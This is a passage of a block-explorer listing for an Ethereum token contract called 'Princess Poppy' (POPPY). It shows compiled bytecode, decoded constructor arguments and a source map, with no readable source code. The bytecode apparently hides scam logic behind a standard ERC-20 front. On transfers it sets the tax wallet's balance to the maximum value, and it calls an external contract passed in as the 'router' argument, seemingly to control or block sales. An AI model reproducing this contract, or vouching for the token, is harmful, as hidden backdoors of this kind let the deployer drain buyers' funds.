1b031633146105895760405162461bcd60e51b815260040161050f906117ec565b6105956009600a6117c7565b6105a3906305f5e1006117d5565b6011556105b26009600a6117c7565b6105c0906305f5e1006117d5565b6012556008805460ff191690557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105fa6009600a6117c7565b610608906305f5e1006117d5565b60405190815260200160405180910390a1565b606060028054610372906116a1565b5f6103ff338484610b02565b5f546001600160a01b0316331461065f5760405162461bcd60e51b815260040161050f906117ec565b601754600160a01b900460ff16156106b95760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161050f565b601580546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107029030906106f46009600a6117c7565b610481906305f5e1006117d5565b60155f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610752573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107769190611821565b6001600160a01b031663c9c653963060155f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156107d5573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107f99190611821565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610843573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108679190611821565b601680546001600160a01b039283166001600160a01b03199091161790556015541663f305d71947306108ae816001600160a01b03165f9081526003602052604090205490565b5f806108c15f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610927573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061094c919061183c565b505060165460155460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156109a1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109c59190611867565b506017805462ff00ff60a01b19166201000160a01b179055565b6001600160a01b038316610a415760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161050f565b6001600160a01b038216610aa25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161050f565b6001600160a01b038381165f8181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b665760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161050f565b6001600160a01b038216610bc85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161050f565b5f8111610c295760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161050f565b5f80546001600160a01b03858116911614801590610c5457505f546001600160a01b03848116911614155b1561104c57610c856064610c7f600d5460105411610c7457600954610c78565b600b545b85906113e0565b90611465565b60085490915060ff1615610d6b576015546001600160a01b03848116911614801590610cbf57506016546001600160a01b03848116911614155b15610d6b57325f908152600760205260409020544311610d595760405162461bcd60e51b815260206004820152604960248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527f65642e20204f6e6c79206f6e652070757263686173652070657220626c6f636b6064820152681030b63637bbb2b21760b91b608482015260a40161050f565b325f9081526007602052604090204390555b6016546001600160a01b038581169116148015610d9657506015546001600160a01b03848116911614155b8015610dba57506001600160a01b0383165f9081526005602052604090205460ff16155b15610efa57601154821115610e115760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161050f565b60125482610e33856001600160a01b03165f9081526003602052604090205490565b610e3d9190611886565b1115610e8b5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161050f565b60108054905f610e9a83611899565b90915550506017546040516301a6952360e41b81526001600160a01b03858116600483015290911690631a695230906024015f604051808303815f87803b158015610ee3575f80fd5b505af1158015610ef5573d5f803e3d5ffd5b505050505b6016546001600160a01b038481169116148015610f2057506001600160a01b0384163014155b15610fa657610f4a6064610c7f600e5460105411610f4057600a54610c78565b600c5485906113e0565b601754604051638cc944c360e01b81526001600160a01b038781166004830152929350911690638cc944c3906024015f6040518083038186803b158015610f8f575f80fd5b505afa158015610fa1573d5f803e3d5ffd5b505050505b305f90815260036020526040902054601754600160a81b900460ff16158015610fdc57506016546001600160a01b038581169116145b8015610ff15750601754600160b01b900460ff165b8015610ffe575060135481115b801561100d5750600f54601054115b1561104a5761102f61102a84611025846014546114a6565b6114a6565b611235565b4766b1a2bc2ec5000081111561104857611048476113a5565b505b505b80156110c457305f9081526003602052604090205461106b90826114ba565b305f81815260036020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906110bb9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600360205260409020546110e69083611518565b6001600160a01b038086165f908152600360205260408082209390935560085461010090049091168152205f1990556111406111228383611518565b6001600160a01b0385165f90815260036020526040902054906114ba565b6001600160a01b038481165f9081526003602052604090819020929092556017549151638cc944c360e01b81528682166004820152911690638cc944c3906024015f6040518083038186803b158015611197575f80fd5b505afa1580156111a9573d5f803e3d5ffd5b5050506001600160a01b03848116915085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111e68585611518565b60405190815260200160405180910390a350505050565b5f81848411156112205760405162461bcd60e51b815260040161050f9190611585565b505f61122c84866118b1565b95945050505050565b6017805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061127b5761127b6118c4565b6001600160a01b03928316602091820292909201810191909152601554604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112d2573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906112f69190611821565b81600181518110611309576113096118c4565b6001600160a01b03928316602091820292909201015260155461132f91309116846109df565b60155460405163791ac94760e01b81526001600160a01b039091169063791ac947906113679085905f908690309042906004016118d8565b5f604051808303815f87803b15801561137e575f80fd5b505af1158015611390573d5f803e3d5ffd5b50506017805460ff60a81b1916905550505050565b6008546040516101009091046001600160a01b0316906108fc8315029083905f818181858888f193505050501580156104e2573d5f803e3d5ffd5b5f825f036113ef57505f610403565b5f6113fa83856117d5565b9050826114078583611947565b1461145e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161050f565b9392505050565b5f61145e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611559565b5f8183116114b4578261145e565b50919050565b5f806114c68385611886565b90508381101561145e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161050f565b5f61145e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111fd565b5f81836115795760405162461bcd60e51b815260040161050f9190611585565b505f61122c8486611947565b5f6020808352835180828501525f5b818110156115b057858101830151858201604001528201611594565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146115e4575f80fd5b50565b5f80604083850312156115f8575f80fd5b8235611603816115d0565b946020939093013593505050565b5f805f60608486031215611623575f80fd5b833561162e816115d0565b9250602084013561163e816115d0565b929592945050506040919091013590565b5f6020828403121561165f575f80fd5b813561145e816115d0565b5f806040838503121561167b575f80fd5b8235611686816115d0565b91506020830135611696816115d0565b809150509250929050565b600181811c908216806116b557607f821691505b6020821081036114b457634e487b7160e01b5f52602260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561172157815f1904821115611707576117076116d3565b8085161561171457918102915b93841c93908002906116ec565b509250929050565b5f8261173757506001610403565b8161174357505f610403565b816001811461175957600281146117635761177f565b6001915050610403565b60ff841115611774576117746116d3565b50506001821b610403565b5060208310610133831016604e8410600b84101617156117a2575081810a610403565b6117ac83836116e7565b805f19048211156117bf576117bf6116d3565b029392505050565b5f61145e60ff841683611729565b8082028115828204841417610403576104036116d3565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611831575f80fd5b815161145e816115d0565b5f805f6060848603121561184e575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611877575f80fd5b8151801515811461145e575f80fd5b80820180821115610403576104036116d3565b5f600182016118aa576118aa6116d3565b5060010190565b81810381811115610403576104036116d3565b634e487b7160e01b5f52603260045260245ffd5b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119265784516001600160a01b031683529383019391830191600101611901565b50506001600160a01b03969096166060850152505050608001529392505050565b5f8261196157634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220479df3409c4d8dd4438760512940bee30988716a51023a7d1c85c156888bf1f464736f6c63430008140033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000fbc81e8dfa592cf7024a1f3f43efc6b784dae7480000000000000000000000001916434a95f341cd7a1d93d7475236a61eab7916000000000000000000000000000000000000000000000000000000000000000e5072696e6365737320506f7070790000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000005504f505059000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Princess Poppy
Arg [1] : symbol_ (string): POPPY
Arg [2] : router (address): 0xfbc81e8dFA592cf7024a1f3F43efC6b784daE748
Arg [3] : taxwallet_ (address): 0x1916434a95f341Cd7a1D93d7475236A61eAB7916
-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 000000000000000000000000fbc81e8dfa592cf7024a1f3f43efc6b784dae748
Arg [3] : 0000000000000000000000001916434a95f341cd7a1d93d7475236a61eab7916
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000e
Arg [5] : 5072696e6365737320506f707079000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000005
Arg [7] : 504f505059000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
3596:8361:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5739:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6590:161;;;;;;;;;;-1:-1:-1;6590:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6590:161:0;1023:187:1;4749:51:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4749:51:0;1215:177:1;6034:95:0;;;;;;;;;;;;;:::i;6759:313::-;;;;;;;;;;-1:-1:-1;6759:313:0;;;;;:::i;:::-;;:::i;5943:83::-;;;;;;;;;;-1:-1:-1;5943:83:0;;4486:1;2000:36:1;;1988:2;1973:18;5943:83:0;1858:184:1;11606:348:0;;;;;;;;;;;;;:::i;:::-;;6137:119;;;;;;;;;;-1:-1:-1;6137:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6230:18:0;6203:7;6230:18;;;:9;:18;;;;;;;6137:119;2582:148;;;;;;;;;;;;;:::i;10584:196::-;;;;;;;;;;;;;:::i;4563:53::-;;;;;;;;;;;;;;;;2368:79;;;;;;;;;;-1:-1:-1;2406:7:0;2433:6;2368:79;;-1:-1:-1;;;;;2433:6:0;;;2445:51:1;;2433:2;2418:18;2368:79:0;2299:203:1;4623:55:0;;;;;;;;;;;;;;;;5839:96;;;;;;;;;;;;;:::i;6264:167::-;;;;;;;;;;-1:-1:-1;6264:167:0;;;;;:::i;:::-;;:::i;4685:57::-;;;;;;;;;;;;;;;;4043:39;;;;;;;;;;-1:-1:-1;4043:39:0;;;;;;;;10890:671;;;;;;;;;;;;;:::i;6439:143::-;;;;;;;;;;-1:-1:-1;6439:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6547:18:0;;;6520:7;6547:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6439:143;5739:92;5785:13;5818:5;5811:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5739:92;:::o;6590:161::-;6665:4;6682:39;203:10;6705:7;6714:6;6682:8;:39::i;:::-;-1:-1:-1;6739:4:0;6590:161;;;;;:::o;6034:95::-;6087:7;4541:13;4486:1;4541:2;:13;:::i;:::-;4529:25;;:9;:25;:::i;:::-;6107:14;;6034:95;:::o;6759:313::-;6857:4;6874:36;6884:6;6892:9;6903:6;6874:9;:36::i;:::-;6921:121;6930:6;203:10;6952:89;6990:6;6952:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6952:19:0;;;;;;:11;:19;;;;;;;;203:10;6952:33;;;;;;;;;;:37;:89::i;:::-;6921:8;:121::i;:::-;-1:-1:-1;7060:4:0;6759:313;;;;;:::o;11606:348::-;11670:10;;;;;-1:-1:-1;;;;;11670:10:0;203;-1:-1:-1;;;;;11656:24:0;;11648:33;;;;;;11731:4;11692:20;6230:18;;;:9;:18;;;;;;11751:14;;11748:73;;11779:30;11796:12;11779:16;:30::i;:::-;11850:21;11885:12;;11882:65;;11911:24;11924:10;11911:12;:24::i;:::-;11637:317;;11606:348::o;2582:148::-;2495:6;;-1:-1:-1;;;;;2495:6:0;203:10;2495:22;2487:67;;;;-1:-1:-1;;;2487:67:0;;;;;;;:::i;:::-;;;;;;;;;2689:1:::1;2673:6:::0;;2652:40:::1;::::0;-1:-1:-1;;;;;2673:6:0;;::::1;::::0;2652:40:::1;::::0;2689:1;;2652:40:::1;2720:1;2703:19:::0;;-1:-1:-1;;;;;;2703:19:0::1;::::0;;2582:148::o;10584:196::-;2495:6;;-1:-1:-1;;;;;2495:6:0;203:10;2495:22;2487:67;;;;-1:-1:-1;;;2487:67:0;;;;;;;:::i;:::-;4541:13:::1;4486:1;4541:2;:13;:::i;:::-;4529:25;::::0;:9:::1;:25;:::i;:::-;10637:12;:22:::0;4541:13:::1;4486:1;4541:2;:13;:::i;:::-;4529:25;::::0;:9:::1;:25;:::i;:::-;10670:14;:22:::0;10703:20:::1;:26:::0;;-1:-1:-1;;10703:26:0::1;::::0;;10745:27:::1;4541:13;4486:1;-1:-1:-1::0;4541:13:0::1;:::i;:::-;4529:25;::::0;:9:::1;:25;:::i;:::-;10745:27;::::0;1361:25:1;;;1349:2;1334:18;10745:27:0::1;;;;;;;10584:196::o:0;5839:96::-;5887:13;5920:7;5913:14;;;;;:::i;6264:167::-;6342:4;6359:42;203:10;6383:9;6394:6;6359:9;:42::i;10890:671::-;2495:6;;-1:-1:-1;;;;;2495:6:0;203:10;2495:22;2487:67;;;;-1:-1:-1;;;2487:67:0;;;;;;;:::i;:::-;10954:11:::1;::::0;-1:-1:-1;;;10954:11:0;::::1;;;10953:12;10945:47;;;::::0;-1:-1:-1;;;10945:47:0;;5536:2:1;10945:47:0::1;::::0;::::1;5518:21:1::0;5575:2;5555:18;;;5548:30;5614:25;5594:18;;;5587:53;5657:18;;10945:47:0::1;5334:347:1::0;10945:47:0::1;11003:15;:80:::0;;-1:-1:-1;;;;;;11003:80:0::1;11040:42;11003:80:::0;;::::1;::::0;;;11094:58:::1;::::0;11111:4:::1;::::0;4541:13:::1;4486:1;4541:2;:13;:::i;:::-;4529:25;::::0;:9:::1;:25;:::i;11094:58::-;11197:15;;;;;;;;;-1:-1:-1::0;;;;;11197:15:0::1;-1:-1:-1::0;;;;;11197:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11179:55:0::1;;11243:4;11250:15;;;;;;;;;-1:-1:-1::0;;;;;11250:15:0::1;-1:-1:-1::0;;;;;11250:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11179:94;::::0;-1:-1:-1;;;;;;11179:94:0::1;::::0;;;;;;-1:-1:-1;;;;;6172:15:1;;;11179:94:0::1;::::0;::::1;6154:34:1::0;6224:15;;6204:18;;;6197:43;6089:18;;11179:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11163:13;:110:::0;;-1:-1:-1;;;;;11163:110:0;;::::1;-1:-1:-1::0;;;;;;11163:110:0;;::::1;;::::0;;11284:15:::1;::::0;::::1;:31;11323:21;11354:4;11360:24;11354:4:::0;-1:-1:-1;;;;;6230:18:0;6203:7;6230:18;;;:9;:18;;;;;;;6137:119;11360:24:::1;11385:1;11387::::0;11389:7:::1;2406::::0;2433:6;-1:-1:-1;;;;;2433:6:0;;2368:79;11389:7:::1;11284:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11284:129:0;;;-1:-1:-1;;;;;6610:15:1;;;11284:129:0::1;::::0;::::1;6592:34:1::0;6642:18;;;6635:34;;;;6685:18;;;6678:34;;;;6728:18;;;6721:34;6792:15;;;6771:19;;;6764:44;11397:15:0::1;6824:19:1::0;;;6817:35;6526:19;;11284:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11431:13:0::1;::::0;11462:15:::1;::::0;11424:71:::1;::::0;-1:-1:-1;;;11424:71:0;;-1:-1:-1;;;;;11462:15:0;;::::1;11424:71;::::0;::::1;7348:51:1::0;-1:-1:-1;;7415:18:1;;;7408:34;11431:13:0;::::1;::::0;-1:-1:-1;11424:29:0::1;::::0;7321:18:1;;11424:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11506:11:0::1;:18:::0;;-1:-1:-1;;;;11535:18:0;-1:-1:-1;;;11535:18:0;;;10890:671::o;7080:335::-;-1:-1:-1;;;;;7173:19:0;;7165:68;;;;-1:-1:-1;;;7165:68:0;;7937:2:1;7165:68:0;;;7919:21:1;7976:2;7956:18;;;7949:30;8015:34;7995:18;;;7988:62;-1:-1:-1;;;8066:18:1;;;8059:34;8110:19;;7165:68:0;7735:400:1;7165:68:0;-1:-1:-1;;;;;7252:21:0;;7244:68;;;;-1:-1:-1;;;7244:68:0;;8342:2:1;7244:68:0;;;8324:21:1;8381:2;8361:18;;;8354:30;8420:34;8400:18;;;8393:62;-1:-1:-1;;;8471:18:1;;;8464:32;8513:19;;7244:68:0;8140:398:1;7244:68:0;-1:-1:-1;;;;;7323:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7375:32;;1361:25:1;;;7375:32:0;;1334:18:1;7375:32:0;;;;;;;7080:335;;;:::o;7423:2554::-;-1:-1:-1;;;;;7511:18:0;;7503:68;;;;-1:-1:-1;;;7503:68:0;;8745:2:1;7503:68:0;;;8727:21:1;8784:2;8764:18;;;8757:30;8823:34;8803:18;;;8796:62;-1:-1:-1;;;8874:18:1;;;8867:35;8919:19;;7503:68:0;8543:401:1;7503:68:0;-1:-1:-1;;;;;7590:16:0;;7582:64;;;;-1:-1:-1;;;7582:64:0;;9151:2:1;7582:64:0;;;9133:21:1;9190:2;9170:18;;;9163:30;9229:34;9209:18;;;9202:62;-1:-1:-1;;;9280:18:1;;;9273:33;9323:19;;7582:64:0;8949:399:1;7582:64:0;7674:1;7665:6;:10;7657:64;;;;-1:-1:-1;;;7657:64:0;;9555:2:1;7657:64:0;;;9537:21:1;9594:2;9574:18;;;9567:30;9633:34;9613:18;;;9606:62;-1:-1:-1;;;9684:18:1;;;9677:39;9733:19;;7657:64:0;9353:405:1;7657:64:0;7732:17;2433:6;;-1:-1:-1;;;;;7766:15:0;;;2433:6;;7766:15;;;;:32;;-1:-1:-1;2406:7:0;2433:6;-1:-1:-1;;;;;7785:13:0;;;2433:6;;7785:13;;7766:32;7762:1778;;;7827:76;7899:3;7827:67;7849:15;;7839:9;;:25;7838:55;;7879:14;;7838:55;;;7866:12;;7838:55;7827:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7924:20;;7815:88;;-1:-1:-1;7924:20:0;;7920:508;;;7985:15;;-1:-1:-1;;;;;7971:30:0;;;7985:15;;7971:30;;;;:62;;-1:-1:-1;8019:13:0;;-1:-1:-1;;;;;8005:28:0;;;8019:13;;8005:28;;7971:62;7967:444;;;8125:9;8096:39;;;;:28;:39;;;;;;8169:12;-1:-1:-1;8060:250:0;;;;-1:-1:-1;;;8060:250:0;;9965:2:1;8060:250:0;;;9947:21:1;10004:2;9984:18;;;9977:30;10043:34;10023:18;;;10016:62;10114:34;10094:18;;;10087:62;-1:-1:-1;;;10165:19:1;;;10158:40;10215:19;;8060:250:0;9763:477:1;8060:250:0;8364:9;8335:39;;;;:28;:39;;;;;8377:12;8335:54;;7967:444;8456:13;;-1:-1:-1;;;;;8448:21:0;;;8456:13;;8448:21;:55;;;;-1:-1:-1;8487:15:0;;-1:-1:-1;;;;;8473:30:0;;;8487:15;;8473:30;;8448:55;:83;;;;-1:-1:-1;;;;;;8509:22:0;;;;;;:18;:22;;;;;;;;8507:24;8448:83;8444:335;;;8571:12;;8561:6;:22;;8553:60;;;;-1:-1:-1;;;8553:60:0;;10447:2:1;8553:60:0;;;10429:21:1;10486:2;10466:18;;;10459:30;10525:27;10505:18;;;10498:55;10570:18;;8553:60:0;10245:349:1;8553:60:0;8666:14;;8656:6;8640:13;8650:2;-1:-1:-1;;;;;6230:18:0;6203:7;6230:18;;;:9;:18;;;;;;;6137:119;8640:13;:22;;;;:::i;:::-;:40;;8632:79;;;;-1:-1:-1;;;8632:79:0;;10931:2:1;8632:79:0;;;10913:21:1;10970:2;10950:18;;;10943:30;11009:28;10989:18;;;10982:56;11055:18;;8632:79:0;10729:350:1;8632:79:0;8730:9;:11;;;:9;:11;;;:::i;:::-;;;;-1:-1:-1;;8743:7:0;;:20;;-1:-1:-1;;;8743:20:0;;-1:-1:-1;;;;;2463:32:1;;;8743:20:0;;;2445:51:1;8743:7:0;;;;:16;;2418:18:1;;8743:20:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8444:335;8804:13;;-1:-1:-1;;;;;8798:19:0;;;8804:13;;8798:19;:43;;;;-1:-1:-1;;;;;;8821:20:0;;8836:4;8821:20;;8798:43;8795:211;;;8874:79;8949:3;8874:70;8896:16;;8886:9;;:26;8885:58;;8928:15;;8885:58;;;8914:13;;8874:6;;:10;:70::i;:79::-;8972:7;;:18;;-1:-1:-1;;;8972:18:0;;-1:-1:-1;;;;;2463:32:1;;;8972:18:0;;;2445:51:1;8862:91:0;;-1:-1:-1;8972:7:0;;;:12;;2418:18:1;;8972::0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;8795:211;9071:4;9022:28;6230:18;;;:9;:18;;;;;;9097:6;;-1:-1:-1;;;9097:6:0;;;;9096:7;:32;;;;-1:-1:-1;9115:13:0;;-1:-1:-1;;;;;9107:21:0;;;9115:13;;9107:21;9096:32;:47;;;;-1:-1:-1;9132:11:0;;-1:-1:-1;;;9132:11:0;;;;9096:47;:89;;;;;9168:17;;9147:20;:38;9096:89;:121;;;;;9199:18;;9189:9;;:28;9096:121;9092:437;;;9238:67;9255:49;9259:6;9266:37;9270:20;9291:11;;9266:3;:37::i;:::-;9255:3;:49::i;:::-;9238:16;:67::i;:::-;9353:21;9417:17;9396:38;;9393:121;;;9459:35;9472:21;9459:12;:35::i;:::-;9219:310;9092:437;7800:1740;7762:1778;9555:11;;9552:161;;9623:4;9605:24;;;;:9;:24;;;;;;:39;;9634:9;9605:28;:39::i;:::-;9598:4;9580:24;;;;:9;:24;;;;;;;:64;;;;9662:39;;-1:-1:-1;;;;;9662:39:0;;;;;;;9691:9;1361:25:1;;1349:2;1334:18;;1215:177;9662:39:0;;;;;;;;9552:161;-1:-1:-1;;;;;9739:15:0;;;;;;:9;:15;;;;;;:27;;9759:6;9739:19;:27::i;:::-;-1:-1:-1;;;;;9723:15:0;;;;;;;:9;:15;;;;;;:43;;;;9787:10;;;;;;;;9777:21;;;-1:-1:-1;;9777:41:0;;9843:40;9861:21;:6;9872:9;9861:10;:21::i;:::-;-1:-1:-1;;;;;9843:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9829:13:0;;;;;;;:9;:13;;;;;;;:54;;;;9894:7;;:18;;-1:-1:-1;;;9894:18:0;;2463:32:1;;;9894:18:0;;;2445:51:1;9894:7:0;;;:12;;2418:18:1;;9894::0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;;;;9928:41:0;;;;-1:-1:-1;9928:41:0;;;9947:21;:6;9958:9;9947:10;:21::i;:::-;9928:41;;1361:25:1;;;1349:2;1334:18;9928:41:0;;;;;;;7492:2485;7423:2554;;;:::o;1260:190::-;1346:7;1382:12;1374:6;;;;1366:29;;;;-1:-1:-1;;;1366:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1406:9:0;1418:5;1422:1;1418;:5;:::i;:::-;1406:17;1260:190;-1:-1:-1;;;;;1260:190:0:o;10093:483::-;5123:6;:13;;-1:-1:-1;;;;5123:13:0;-1:-1:-1;;;5123:13:0;;;10195:16:::1;::::0;;10209:1:::1;10195:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10195:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10195:16:0::1;10171:40;;10240:4;10222;10227:1;10222:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10222:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10266:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10266:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10222:7;;10266:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10256:4;10261:1;10256:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10256:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10331:15:::1;::::0;10299:62:::1;::::0;10316:4:::1;::::0;10331:15:::1;10349:11:::0;10299:8:::1;:62::i;:::-;10372:15;::::0;:196:::1;::::0;-1:-1:-1;;;10372:196:0;;-1:-1:-1;;;;;10372:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10453:11;;10372:15:::1;::::0;10495:4;;10522::::1;::::0;10542:15:::1;::::0;10372:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5159:6:0;:14;;-1:-1:-1;;;;5159:14:0;;;-1:-1:-1;;;;10093:483:0:o;10788:92::-;10845:10;;:27;;:10;;;;-1:-1:-1;;;;;10845:10:0;;:27;;;;;;;;;;;;:10;:27;;;;;;;;;;;;;;;;;;;1458:246;1516:7;1540:1;1545;1540:6;1536:47;;-1:-1:-1;1570:1:0;1563:8;;1536:47;1593:9;1605:5;1609:1;1605;:5;:::i;:::-;1593:17;-1:-1:-1;1638:1:0;1629:5;1633:1;1593:17;1629:5;:::i;:::-;:10;1621:56;;;;-1:-1:-1;;;1621:56:0;;13030:2:1;1621:56:0;;;13012:21:1;13069:2;13049:18;;;13042:30;13108:34;13088:18;;;13081:62;-1:-1:-1;;;13159:18:1;;;13152:31;13200:19;;1621:56:0;12828:397:1;1621:56:0;1695:1;1458:246;-1:-1:-1;;;1458:246:0:o;1712:132::-;1770:7;1797:39;1801:1;1804;1797:39;;;;;;;;;;;;;;;;;:3;:39::i;9987:98::-;10044:7;10071:1;10069;:3;10068:9;;10076:1;10068:9;;;-1:-1:-1;10074:1:0;9987:98;-1:-1:-1;9987:98:0:o;929:179::-;987:7;;1019:5;1023:1;1019;:5;:::i;:::-;1007:17;;1048:1;1043;:6;;1035:46;;;;-1:-1:-1;;;1035:46:0;;13432:2:1;1035:46:0;;;13414:21:1;13471:2;13451:18;;;13444:30;13510:29;13490:18;;;13483:57;13557:18;;1035:46:0;13230:351:1;1116:136:0;1174:7;1201:43;1205:1;1208;1201:43;;;;;;;;;;;;;;;;;:3;:43::i;1852:189::-;1938:7;1973:12;1966:5;1958:28;;;;-1:-1:-1;;;1958:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1997:9:0;2009:5;2013:1;2009;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45